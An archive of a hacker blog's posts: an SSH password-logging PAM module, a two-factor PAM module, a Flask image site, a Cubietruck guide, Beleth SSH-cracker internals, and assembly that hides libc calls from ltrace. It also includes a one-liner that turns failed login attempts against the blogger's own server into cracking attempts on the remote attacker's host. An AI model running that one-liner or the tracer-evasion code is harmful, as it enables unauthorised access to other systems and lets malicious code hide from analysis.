Monday, January 27, 2014

Reverse SSH Cracking with Beleth and PAM

Disclaimer

Attempting to gain unauthorized access to remote computers is illegal, and I am not responsible for any use of this proof of concept in a live environment.

Introduction

This is an incredibly rude one liner that attempts to crack remote SSH passwords when an incoming login attempt fails.

Prerequisites

In order for this little trick to work, you'll need to setup a PAM module that I wrote about in a previous post. I recently pushed an update to Beleth that allows passing a single password via the command line interface, so you'll need to grab a fresh copy from the github.

The one liner

tail -f /var/log/auth.log | stdbuf -o0 sed s/[:\(\)]/\ /g|awk '{if ($13 ~ /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) {print "beleth -t "$13" -u "$14" -P "$15}}'

This parses through the authorization log and is continuously updated with failed login attempts. It uses sed/awk to grab the remote host, attempted user, and password combination. Beleth then uses the information to attempt the same login credentials on the remote host. stdbuf ensures that the streams are being properly flushed so that it works in real time.

Thursday, January 16, 2014

Flaskgur: Simple Imgur clone with Flask and Python

Introduction

As part of a previous post I wrote about using PyTinyDNS to dynamically assign DNS subdomains with updated IP addresses every time a user connects. Another service that we were missing was a simple image sharing site for use exclusively on the VPN. I've been intending to play with Flask for a while now this seemed like a good excuse to dive in.

Enter Flask

Flask is a microframework for Python based on Werkzeug and Jinja2. This combination of tools allows rapid development of web applications through Jinja's modern extensible template language and Werkzeug's URL routing modules.

Setup Flaskgur

If this is your first time playing with flask, go ahead grab virtualenv. Flask will be installed later.

$ sudo pip install virtualenv
$ 

Now grab a copy of Flaskgur and setup the new virtual environment.

$ git clone https://github.com/chokepoint/flaskgur.git
$ cd flaskgur
$ virtualenv venv
$ . venv/bin/activate
$ pip install Flask

Flaskgur relies on a small sqlite database with an id field and filename field. The git repository comes with a copy of the database schema.

$ sqlite3 flaskgur.db < schema.sql

Now edit flaskgur.py and point the base directory to your desired location and start Flaskgur.

$ python flaskgur.py 
 * Running on http://0.0.0.0:5000/
 * Restarting with reloader

Flaskgur Layout

The directories are broken down into the following list.

  • pics - Where the uploaded pictures are saved
  • static - Static formatting files (css) and custom 404 image
  • templates - Jinja2 formatted template files

For simplicity, the custom 404 page doubles as error page for bad file types. base.html is the base template, and data is filled in respectively by upload.html and 404.html thanks to Jinja. I included a simple macro in upload.html as well for a basic example.

Going Beyond

This is not a complete product by any means, and I do not profess to be a CSS guru. If you'd like to clean up some of the formatting, pull requests are always welcome. The database could easily be upgraded to include a description of photos or incorporate a ranking system. If you're interested in extending this project, head on over to github and add whatever you feel is necessary.

Wednesday, January 8, 2014

More fun with PAM-Python -- Logging Failed SSH Passwords

Introduction

Following up from my last post about a two-factor SSH authentication python module, I thought I'd add one more module that has yielded some interesting results as well. If you watch your authorization log closely you'll undoubtedly notice multiple failed login attempts per day primarily for root/privileged users. These scans are largely automated by using lists of popular passwords and SSH cracking programs such as Beleth. Typical authorization logs from SSHd look similar to the entry below.

Jan  1 18:10:51 lan sshd[19972]: Failed password for root from 61.xxx.xxx.34 port 33302 ssh2

I thought it would be interesting to see not only which users were commonly targets of attack, but also the wordlists being actively used by these bots. The module below will log a copy of the attempted username and password for all failed login attempts. I've also included a copy of all failed attempts logged after running this module for a week. The log entry below is how auth.log will look while using the module.

Jan  1 19:58:39 lan sshd: SSH Attack Logged: Remote Host: 61.xxx.xxx.34 (root:password1)

The Source

import crypt, spwd, syslog

def auth_log(msg):
 """Send errors to default auth log"""
 syslog.openlog(facility=syslog.LOG_AUTH)
 syslog.syslog("SSH Attack Logged: " + msg)
 syslog.closelog()

def check_pw(user, password):
 """Check the password matches local unix password on file"""
 hashed_pw = spwd.getspnam(user)[1]
 
 return crypt.crypt(password, hashed_pw) == hashed_pw

def pam_sm_authenticate(pamh, flags, argv):
 try:
  user = pamh.get_user()
 except pamh.exception, e:
  return e.pam_result
 
 if not user:
  return pamh.PAM_USER_UNKNOWN
  
 try:
  resp = pamh.conversation(pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, 'Password:'))
 except pamh.exception, e:
  return e.pam_result
  
 if not check_pw(user, resp.resp):
  auth_log("Remote Host: %s (%s:%s)" % (pamh.rhost, user, resp.resp))
  return pamh.PAM_AUTH_ERR
 
 return pamh.PAM_SUCCESS

def pam_sm_setcred(pamh, flags, argv):
 return pamh.PAM_SUCCESS

def pam_sm_acct_mgmt(pamh, flags, argv):
 return pamh.PAM_SUCCESS

def pam_sm_open_session(pamh, flags, argv):
 return pamh.PAM_SUCCESS

def pam_sm_close_session(pamh, flags, argv):
 return pamh.PAM_SUCCESS

def pam_sm_chauthtok(pamh, flags, argv):
 return pamh.PAM_SUCCESS

Configuration

Configuration is similar to the STAMP 2-factor authentication module. Instead of adding an additional authentication requirement, we're simply going to replace the standard password entry in /etc/pam.d/sshd with our new module. Save a copy of the source code to /lib/security/pwreveal.py. Now, open up /etc/pam.d/sshd and insert the line below.

#@include common-auth
auth       requisite     pam_python.so pwreveal.py

Resources

You can run similar experiments by using any number of widely available honeypot projects. Kippo is an SSH based honeypot that includes not only password logging, but also places attackers in a sandboxed shell that logs all of their commands. If you don't want to deal directly with the kippo software, it's included as part of Honeydrive, a full featured VM honeypot.

Collected wordlist

Monday, December 30, 2013

Simple SSH 2-Factor Authentication Module

Introduction

I needed a quick 2-factor authentication module for SSH. Instead of going with one of the popular solutions like Duo or Google Authenticator, it seemed like a good excuse to whip up some code. I've written small PAM modules in the past using C, but I've been on a python kick lately so I turned to PAM-Python. The module, we'll call it SSH Two-factor Authentication Module in Python (STAMP to make it catchy), is available over on github

How it Works

STAMP works by generating a one time use personal identification number for each login attempt. The module then looks up the local user's cell phone number, which we'll be storing in the standard Office Phone slot in each pw entry in /etc/passwd. Once it has the user's phone number the module sends the one time use PIN to the user. Instead of storing credentials for a service like Google Voice, I went with one of the first free sites I found, TxtDrop. The source includes a small class for dealing with the TxtDrop SMS form and works with most US carriers that I tried out. Once the correct PIN is entered, the login procedure continues with normal password based authentication.

Setting up the Module

Ensure the following dependencies are already installed on your system.

  • pam-python
  • python-requests

Grab the source and copy stampauth.py to /lib/security

$ git clone https://github.com/chokepoint/stampauth.git
$ cd stampauth
$ sudo cp stampauth.py /lib/security/

Now that the module is in place, we need to configure SSHd to enable Challenge/Response Authentication. In /etc/ssh/sshd_config uncomment the following line.

ChallengeResponseAuthentication yes

We also need to let PAM know the order in which we should process the authentication. I set it up so that the user is first prompted for the one time PIN before being prompted for the password. If you choose to go this route, then in /etc/pam.d/sshd locate the section marked with "@include common-auth" and make it look like the entry below.

auth       requisite     pam_python.so stampauth.py
@include common-auth

You can set a user's Office Phone number with the following command.

$ sudo usermod stderr -c ',,555-555-5555,'

Finally, restart sshd and test it out.

$ sudo service ssh restart
$ ssh stderr@localhost
Enter one time PIN: 
Password:
Welcome!

Disclaimer

An attacker could potentially lock you out of your system by repeatedly connecting to your SSH server and failing the PIN test. This occurs because TxtDrop limits the number of SMSes sent by your IP. Feel free to switch to a different SMS gateway.

Saturday, December 7, 2013

Cubietruck a complete noobie guide

Introduction


I own a raspberry pi and loved it, but it just wasn't powerful enough. So I googled around and found Cubie, figured it should be more than powerful enough for what I wanted to do. I found out the hard way that the cubie is not as user friendly as the raspberry pi was. My biggest gripe was that there was tons of support however it was not as good as the raspberry pi community is. For instance I was under the impression I could boot from an SD card just like the pi, and while I can what I didn't know is that it has to be a microsd card. Luckily I had an old cell phone that had an 8gig card in it that I could use. The next issue I faced was installing the image onto the sd card and how exactly to do it. In this post I will go over some of the things that I faced with the cubie and how I was able to over come them in hopes that someone else will have good documentation to go off of. I am using the cubietruck and installing lubuntu on an older scandisk 8gig microsd card.

Check List:


Hardware
  • microsd card reader
  • microsd card (at least 2gig)
  • computer running linux
  • cubietruck
  • a way to supply the cubie with power: For this I'm using a 5v/1amp cell phone dc charger with the supplied usb power cord that came with the cubie
  • hdmi cord
  • tv/monitor with hdmi
  • usb wired or wireless keyboard

  • Software
  • u-boot
  • bootfs
  • rootfs

  • You will also need dd for linux (usually pre-installed)to transfer files.

    Installing the software to boot from microsd


    First thing we'll need to do is find the card then zero it.
    sudo ls /dev/ 
    
    Your card should show up as sdd or sde (mine happened to be sde) depending on the card and linux distro you're running. You can run ls on /dev/ get the output then plug the microsd card in and run it again to compare. Next we need to zero the card out.
    sudo dd if=/dev/zero of=/dev/sde bs=1024 seek=544 count=128
    
    Next we're going to make the card bootable with dd.
    dd if=/home/user/downloads/u-boot-sunxi-with-spl-ct-20131102.bin of=/dev/sde bs=1024 seek=8
    
    Now that the card is bootable we need to create partitions to install the operating system to. To accomplish this we'll be using fdisk on the microsd card.
    sudo fdisk /dev/sde
    
    We need to create two primary partitions:
  • First partition needs to be 64mb in size
  • Second partition needs to be fill up the rest of the card

    Basic Configuration on first boot

    Username/Password: linaro/linaro Once booted there are a few things you'll want to do. First you'll need to log in, the default user for the OS is linaro the password as you might guess is also linaro. Next thing you'll notice is that there is no wlan0 but only eht0. This is because the modules are not installed. Lets install the modules for Bluetooth and wifi.
    $sudo modprobe bcmdhd
    Now you can configure wpa supplicant to set up wifi. You might run into some issues with wpa_supplicant. You can find help with wpa_supplicant here. Lets reboot now to make sure the configuration stuck. What you'll notice is that once again wlan0 is not there anymore. This is due to the Bluetooth and wifi module not loading on boot, so lets fix this.
    $sudo modprobe bcmdhd
    $sudo nano /etc/modules
    
    At the end of the /etc/modules you'll need to add bcmdhd so that it will load on boot. Now all you need is to save the file with Ctrl^x and reboot. Now your wireless configuration and module should both load at boot. Now you should have wireless network. At this point you should update and upgrade install packages
     
    $sudo apt-get update
    $sudo apt-get upgrade
    

    Conclusion

    I've had the cubietruck a short time now, and can say that I do enjoy it and it's power over the pi; however the community could be better as far as development is concerned. I got the cubietruck to make xbmc 720p and 1080p playback smoother, without having to overclock. I haven't quite configured everything I want at the moment so I can't speak on whether the purchase I made for what I wanted the cubietruck to do was worth it. So far it's been a learning curve and I look forward to finding out more I can do with it. For now I have a starting point.

    Links

    Forums
    Main Cubieboard Site
    Tools and OS's
  • Monday, November 18, 2013

    Binaries and Process Tracing

    A little bit about Linux Programs

    The Linux ABI (Application Binary Interface) is used to bind an executable to its imported functions at runtime through several functions provided by the libc sysdeps and the linux linker (ld). For example, when a programmer writes code that contains a call to “printf”, the ABI is responsible for extracting a pointer (in the form of a memory address) from libc.so, then writing it into the executable's import table so that it can be called from the executable more practically. The Program Interpreter is a component that can be specified to the ABI for customized executable formats. All dynamically-linked linux applications have what is called an INTERP header (or .interp), you can see this using the command line utility readelf, like so:

    user@host $ grep interpreter <(readelf -a $(which ls))
          [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
    

    Because I am using a 64-bit system for this demonstration, all of my dynamically linked binaries in my testing environment specify /lib64/ld-linux-x86-64.so.2, on a 32-bit system, executables will specify a 32-bit counterpart.

    A little about process tracing

    Process tracing in a linux environment can be performed using several different debugging tools-- namely strace, ltrace, ftrace, and interactive debuggers (such as gdb). While strace is an excellent tool for monitoring I/O and certain system calls, it falls short around shared object monitoring capability. That is why ltrace and ftrace were born: they are able to show the actual function calls as they occur from a process to shared objects (*.so files) imported by the executable. This allows administrators and programmers trying to debug issues with an application to determine where in its calls to shared objects things begin to go wrong. Process tracing and debuggers can also be helpful for malware analysis and detection. As such, attackers frequently target these utilities to find evasion methodology amongst other bugs (debugger exploits, anyone?)

    Self-linking code

    When I wrote the dynamic engine for shellcodecs, I implemented my own version of program interpretation. Why? Because there is no guarantee that a given executable will have required functions in its import table for shellcode to run properly. So, I wrote a piece of assembly code capable of parsing an ELF64 shared object to isolate pointers to the functions I wanted to call, similar to dlsym() from libdl. Recently I was entertaining the idea of writing an all-assembly rootkit, so I checked into how calls made by the shellcodecs engine were handled by different tracing methods. I put together a couple of programs to see how things got handled and what information actually got revealed by tracing the processes. I got some pretty interesting results.

    Test programs and results

    My test programs were relatively simple. Here is a normal set of C code that prints “ohai” and then calls exit(2), and its correlating ltrace output:

    #include <stdio.h>
    #include <dlfcn.h>
    #include <stdlib.h>
    
    int main(void) {
        printf("ohai");
        exit(2);
    }
    

    And its ltrace output:

    user@host $ ltrace ./ltrace-test
    __libc_start_main(0x400544, 1, 0x7fff70b45d88, 0x400570, 0x400600 
    printf("ohai")                                                                               = 4
    exit(2ohai 
    +++ exited (status 2) +++
    

    Notice the tracer caught the call to printf as well as the call to exit. It shows both exit(2) as well as "exited (status 2)". This is an important distinction for our next test:

    #include <stdio.h>
    #include <dlfcn.h>
    #include <stdlib.h>
    
    // Compile: gcc ltraced.c -o ltraced -ldl
    
    int main(void)
    {
        void *libc;
        int (*putstr)(char *);
        int (*exitp)(int);
        libc = dlopen("/lib/i386-linux-gnu/i686/cmov/libc.so.6",RTLD_LAZY);
        *(void **)&putstr = dlsym(libc,"puts");
        *(void **)&exitp  = dlsym(libc,"exit");
        putstr("ohai");
        exitp(2);
    }
    

    And its ltrace results:

    user@host $ ltrace ./ltraced
    __libc_start_main(0x400594, 1, 0x7fff36ae94b8, 0x400610, 0x4006a0 
    dlopen("/lib/i386-linux-gnu/i686/cmov/li"..., ) = NULL
    dlsym(NULL,"puts")                              = 0x7f400a7e0ce0
    dlsym(NULL,"exit")                              = 0x7f400a7ab970
    ohai
    +++ exited (status 2) +++
    

    Notice this time it didn't actually catch the call to exit or puts itself -- it only catches the calls to dlsym and dlopen -- but it doesnt catch the calls to puts() or exit() themselves. Reason being, puts() and exit() never appear in the binary's import table, as you can see with the following:

    user@host $ objdump -R ./ltraced
    
    ./ltraced:     file format elf64-x86-64
    
    DYNAMIC RELOCATION RECORDS
    OFFSET           TYPE              VALUE 
    0000000000600fe0 R_X86_64_GLOB_DAT  __gmon_start__
    0000000000601000 R_X86_64_JUMP_SLOT  __libc_start_main
    0000000000601008 R_X86_64_JUMP_SLOT  dlopen
    0000000000601010 R_X86_64_JUMP_SLOT  dlsym
    

    Implications and further testing

    Since I realized ltrace was only capable of tracing functions in the executable's import table, I wondered if its possible to completely evade ltrace for called functions with an assembly application. The results were phenomenal.

    user@host $ ltrace ./full_import_test 
    __libc_start_main(0x400554, 1, 0x7fff92666938, 0x400690, 0x400720Successfully called puts without import
     
    +++ exited (status 2) +++
    

    I was able to get these results with the following assembly program:

    .global main
    .section .data
    .section .bss
    
    # MUST BE COMPILED:
    # gcc full_import_test.s -ldl -Wl,-z,relro,-z,now -o full_import_test
    libc_base:
        .align 8 
    libdl_base:
        .align 8
    
    .section .text
    
    main:
      xor %rdi, %rdi
      mov $0x400130, %rbx
      mov (%rbx), %rcx
      add 0x10(%rbx), %rcx
      mov 0x20(%rcx, %rdi, 2), %rbx     # grab pointer to dlclose()
    
    find_base:
      dec %rbx
      cmpl $0x464c457f, (%rbx)          # grab base of libdl
    jne find_base
    
    save_libdl:
      mov $libdl_base, %rdi
      mov %rbx, (%rdi)
      xor %rdi, %rdi
    
    dlopen_libc:
      push $0x25764b07       # Function hash for dlopen()
      pop %rbp              
    
      mov $libc, %rdi        # libc.so.6
    
      push $0x01             
      pop %rsi               # RTLD_LAZY
      call invoke_function   # (%rax) = dlopen('libc.so.6',RTLD_LAZY);
    
    save_libc:
      mov (%rax), %rcx
      mov $libc_base, %rax
      mov %rcx, (%rax)
     
    jmp _world
    
     
    ################
    #
    #  Takes a function hash in %rbp and base pointer in %rbx
    #  >Parses the dynamic section headers of the ELF64 image
    #  >Uses ROP to invoke the function on the way back to the
    #  -normal return location
    #
    #  Returns results of function to invoke.
    #
    invoke_function:
      push %rbp
      push %rbp
      push %rdx
      xor %rdx, %rdx
      push %rdi
      push %rax
      push %rbx      
      push %rsi
      push %rbp
      pop %rdi
     
      read_dynamic_section:
        push %rbx
        pop %rbp
     
       push $0x4c
       pop %rax
       add (%rbx, %rax, 4), %rbx
     
      check_dynamic_type:
        add $0x10, %rbx
        cmpb $0x5, (%rbx)
      jne check_dynamic_type
     
      string_table_found:
        mov 0x8(%rbx), %rax       # %rax is now location of dynamic string table
        mov 0x18(%rbx), %rbx      # %rbx is now a pointer to the symbol table.
     
      check_next_hash:
        add $0x18, %rbx
        push %rdx
        pop %rsi
        xorw (%rbx), %si
        add %rax, %rsi
     
        calc_hash:
          push %rax
          push %rdx
     
          initialize_regs:
            push %rdx
            pop %rax
            cld
     
            calc_hash_loop:
              lodsb
              rol $0xc, %edx
              add %eax, %edx
              test %al, %al
              jnz calc_hash_loop
     
          calc_done:
            push %rdx
            pop %rsi
     
          pop %rdx 
          pop %rax
     
      cmp %esi, %edi
     
      jne check_next_hash
     
      found_hash:
        add 0x8(%rbx,%rdx,4), %rbp
        mov %rbp, 0x30(%rsp)
        pop %rsi
        pop %rbx
        pop %rax
        pop %rdi
        pop %rdx
        pop %rbp
    ret
    
    # push hashes_array_index
    # call fast_invoke
    fast_invoke:
      push %rbp
      push %rbx
      push %rcx
    
      mov 0x20(%rsp), %ecx
    
      mov $libc_base, %rax
      mov (%rax), %rbx
    
      mov $hashes, %rax
      mov (%rax, %rcx, 4), %ebp
    
      # Registers required for link to work:
      # rbp - function hash
      # rbx - base pointer to lib
      call invoke_function
    
      mov 0x18(%rsp), %rcx # grab retptr
      mov %rcx, 0x20(%rsp) # kill the function argument
      pop %rcx
      pop %rbx
      pop %rbp
      add $0x8, %rsp
      ret
    
    # freed developer registers: 
    # rax rbp rbx rcx r11 r12 r13 r14 r15
    #
    # a libc call:
    # function(%rdi,  %rsi,  %rdx,  %r10,  %r8,  %r9)
    _world:
      mov $hiddenmsg, %rdi  # arg1
      push $0x1             # function array index in hashes label for puts()
      call fast_invoke      # puts("Successfully called puts without import")
    
    
      push $0x02            #
      pop %rdi              # arg1
    
      push $0x00            # array index in hashes label for exit()
      call fast_invoke      # exit(2);
    
      ret                   # Exit normally from libc, exit(0)
      #  after execution, echo $? shows 2 and not 0 ;)
    
    force_import:
        call dlclose
    
    libc: 
        .asciz "libc.so.6"
    
    hashes:
        .long 0x696c4780, 0x74773750
    
    hiddenmsg:
        .asciz "Successfully called puts without import"
    

    And its import table does not contain dlopen(), puts(), or exit():

    user@host $ objdump -R full_import_test
    
    full_import_test:     file format elf64-x86-64
    
    DYNAMIC RELOCATION RECORDS
    OFFSET           TYPE              VALUE 
    0000000000600ff8 R_X86_64_GLOB_DAT  __gmon_start__
    0000000000600fe8 R_X86_64_JUMP_SLOT  __libc_start_main
    0000000000600ff0 R_X86_64_JUMP_SLOT  dlclose
    

    In this example, we call dlopen() on libc, then use the shellcodecs implementation of dlsym() to call functions. The tricky bit was getting dlopen() to work without showing up in the ltrace call. For this, I ended up putting a "call dlclose" at the end of the application in the force_import label (though it is never actually called or used). By compiling with full relro, I was able to use the pointer to dlclose from the GOT as a way to pivot back to the base of libdl, then re-parse its export table to traverse back to dlopen(). As a result, none of the shared objects opened by dlopen are noticed by ltrace or ftrace. Depending on your runtime environment and your compiler, the offset may be subject to change. The following line is responsible for extracting the dlclose pointer:

      mov 0x20(%rcx, %rdi, 2), %rbx     # grab pointer to dlclose()
    

    If for some reason this code isn't working on your system, you can probably achieve your desired result by modifying the offset from 0x20 to either 0x18 or 0x28. This is a static offset assigned during compile time. We could also iterate over the string table to determine if we were grabbing the right pointer (e.g. make sure we are getting the pointer to dlclose), but that was not the purpose of these tests. So when it comes to binaries like this, strace (for now) is the only non-interactive option for tracing available, and it won't show you some of those shared-object calls that might be vital to your research.


    Saturday, November 9, 2013

    Development notes from Beleth: Multi-threaded SSH Password Auditor

    Introduction

    Beleth is a fast multi-threaded SSH password auditing tool. For a quick introduction to the tool and how to use it, head over to Blackhat Library.

    Get the source

    Beleth is available on github and will continue to be updated with new features. If you'd like in on the development, submit a pull request.

    $ git clone https://github.com/chokepoint/Beleth.git
    $ cd beleth
    $ make

    Multi-threaded design

    There are a couple of different options available for developers when coming up with multi-threaded design on Linux based systems using C. Two of the most popular are fork() and pthread_create(). Fork() differs from pthread_create() in that address space is not shared between the parent and child threads. Instead, a complete copy of the parent's address, code, and stack spaces are created for the child process. In order to keep dependencies to a minimum, I decided to go with a standard fork design.

    pid = fork();
    if (pid < 0) {
        fprintf(stderr, "[!] Couldn't fork!\n");
        destroy_pw_list();
        exit(1);
    } else if (pid == 0)  { /* Child thread */
        crack_thread(t_current);
        if (ptr != NULL)
            free(ptr);
    } else {               /* Parent thread */
        ...
    }

    This is great, but we need a way to control the child processes that are running through the password list.

    Inter-process Communication (IPC)

    Again, there are many options for developers when it comes to IPC as well. Below is a list of only some of the available options.

    • Shared Memory
    • FIFOs
    • Half-Duplex Pipes
    • Full-Duplex Pipes
    • Sockets

    We are using fork() so memory sharing is not an immediate option, unless we feel like mmap()ing a shared memory space for communication, but that can get messy. FIFOs and pipes would work for distributing the wordlist among threads, but in order to keep options open Beleth uses Unix Domain Sockets for all IPC. By designing IPC with sockets, it would be trivial to turn Beleth into a distributed cracking platform.

    The task handling process binds to a socket file

    int listen_sock(int backlog) {
     struct sockaddr_un addr;
     int fd,optval=1;
     
     if ((fd = socket(AF_UNIX, SOCK_STREAM, 0)) == -1) {
      if (verbose >= VERBOSE_DEBUG)
       fprintf(stderr, "[!] Error setting up UNIX socket\n");
      return -1;
     }
     
     fcntl(fd, F_SETFL, O_NONBLOCK); /* Set socket to non blocking */
     setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(int));
     
     memset(&addr,0x00,sizeof(addr));
     addr.sun_family = AF_UNIX;
     strncpy(addr.sun_path, sock_file, sizeof(addr.sun_path)-1);
     
     unlink(sock_file);
     
     if (bind(fd, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
      if (verbose >= VERBOSE_DEBUG)
       fprintf(stderr, "[!] Error binding to UNIX socket\n");
      return -1;
     }
     
     if (listen(fd, backlog) == -1) {
      if (verbose >= VERBOSE_DEBUG)
       fprintf(stderr, "[!] Error listening to UNIX socket\n");
      return -1;
     }
     
     return fd;
    }
    

    Each cracking thread establishes a connection to the socket file in order to request the next password in the list, as well as tell the task handler when a correct password is found.

    int connect_sock(void) {
     int fd;
     struct sockaddr_un addr;
     
     if ((fd = socket(AF_UNIX, SOCK_STREAM, 0)) == -1) {
      if (verbose >= VERBOSE_DEBUG)
       fprintf(stderr, "[!] Error creating UNIX socket\n");
      return -1;
     }
     
        memset(&addr,0x00,sizeof(addr));
        addr.sun_family = AF_UNIX;
        strncpy(addr.sun_path, sock_file, sizeof(addr.sun_path)-1);
        
        if (connect(fd, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
      if (verbose >= VERBOSE_DEBUG)
       fprintf(stderr, "[!] Error connecting to UNIX socket\n");
      return -1;
     }
     return fd;
    }
    

    The protocol is simple and based on the following definitions located in beleth.h.

    /* IPC Protocol Header Information */
    #define REQ_PW     0x01 /* Request new password to try */
    #define FND_PW     0x02 /* Found password */
    #define NO_PW    0x03 /* No PWs left... cleanup */
    

    To-do list

    • Add option for user name list
    • Add option for host list
    • Add simple port scanner and feed new IPs to the task handler
    • Add distributed cracking support